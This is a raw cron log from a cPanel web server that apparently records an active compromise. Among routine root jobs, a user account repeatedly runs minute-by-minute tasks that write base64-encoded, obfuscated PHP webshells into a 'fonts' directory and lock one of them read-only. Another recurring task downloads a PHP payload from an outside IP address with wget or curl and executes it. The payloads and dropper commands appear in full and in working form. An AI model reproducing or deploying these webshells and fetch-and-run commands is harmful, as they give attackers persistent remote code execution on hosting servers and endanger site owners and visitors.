Sep 11 05:08:01 ip-184-168-122-23 CROND[5553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:09:01 ip-184-168-122-23 CROND[5701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:09:01 ip-184-168-122-23 CROND[5702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:09:01 ip-184-168-122-23 CROND[5704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:09:01 ip-184-168-122-23 CROND[5706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:09:01 ip-184-168-122-23 CROND[5707]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 05:10:01 ip-184-168-122-23 CROND[5829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:10:01 ip-184-168-122-23 CROND[5832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:10:01 ip-184-168-122-23 CROND[5834]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:10:01 ip-184-168-122-23 CROND[5831]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 05:10:01 ip-184-168-122-23 CROND[5836]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:10:01 ip-184-168-122-23 CROND[5835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:10:01 ip-184-168-122-23 CROND[5838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:10:01 ip-184-168-122-23 CROND[5833]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:11:01 ip-184-168-122-23 CROND[6038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:11:01 ip-184-168-122-23 CROND[6039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:11:01 ip-184-168-122-23 CROND[6041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:11:01 ip-184-168-122-23 CROND[6043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:12:01 ip-184-168-122-23 CROND[6152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:12:01 ip-184-168-122-23 CROND[6153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:12:01 ip-184-168-122-23 CROND[6155]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:12:01 ip-184-168-122-23 CROND[6157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:12:01 ip-184-168-122-23 CROND[6158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:13:01 ip-184-168-122-23 CROND[6276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:13:01 ip-184-168-122-23 CROND[6277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:13:01 ip-184-168-122-23 CROND[6278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:13:01 ip-184-168-122-23 CROND[6279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:14:01 ip-184-168-122-23 CROND[6394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:14:01 ip-184-168-122-23 CROND[6398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:14:01 ip-184-168-122-23 CROND[6396]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:14:01 ip-184-168-122-23 CROND[6397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:14:01 ip-184-168-122-23 CROND[6399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:15:01 ip-184-168-122-23 CROND[6527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:15:01 ip-184-168-122-23 CROND[6535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:15:01 ip-184-168-122-23 CROND[6534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:15:01 ip-184-168-122-23 CROND[6536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:15:01 ip-184-168-122-23 CROND[6539]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:15:01 ip-184-168-122-23 CROND[6537]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:16:01 ip-184-168-122-23 CROND[6728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:16:01 ip-184-168-122-23 CROND[6730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:16:01 ip-184-168-122-23 CROND[6729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:16:01 ip-184-168-122-23 CROND[6731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:16:01 ip-184-168-122-23 CROND[6733]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:16:01 ip-184-168-122-23 CROND[6734]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 05:17:01 ip-184-168-122-23 CROND[6867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:17:01 ip-184-168-122-23 CROND[6868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:17:01 ip-184-168-122-23 CROND[6869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:17:01 ip-184-168-122-23 CROND[6871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:18:01 ip-184-168-122-23 CROND[6995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:18:01 ip-184-168-122-23 CROND[6997]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:18:01 ip-184-168-122-23 CROND[6998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:18:01 ip-184-168-122-23 CROND[6996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:18:01 ip-184-168-122-23 CROND[6999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:19:01 ip-184-168-122-23 CROND[7099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:19:01 ip-184-168-122-23 CROND[7102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:19:01 ip-184-168-122-23 CROND[7101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:19:01 ip-184-168-122-23 CROND[7103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:20:01 ip-184-168-122-23 CROND[7234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:20:01 ip-184-168-122-23 CROND[7236]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:20:01 ip-184-168-122-23 CROND[7237]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 05:20:01 ip-184-168-122-23 CROND[7240]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 05:20:01 ip-184-168-122-23 CROND[7238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:20:01 ip-184-168-122-23 CROND[7241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
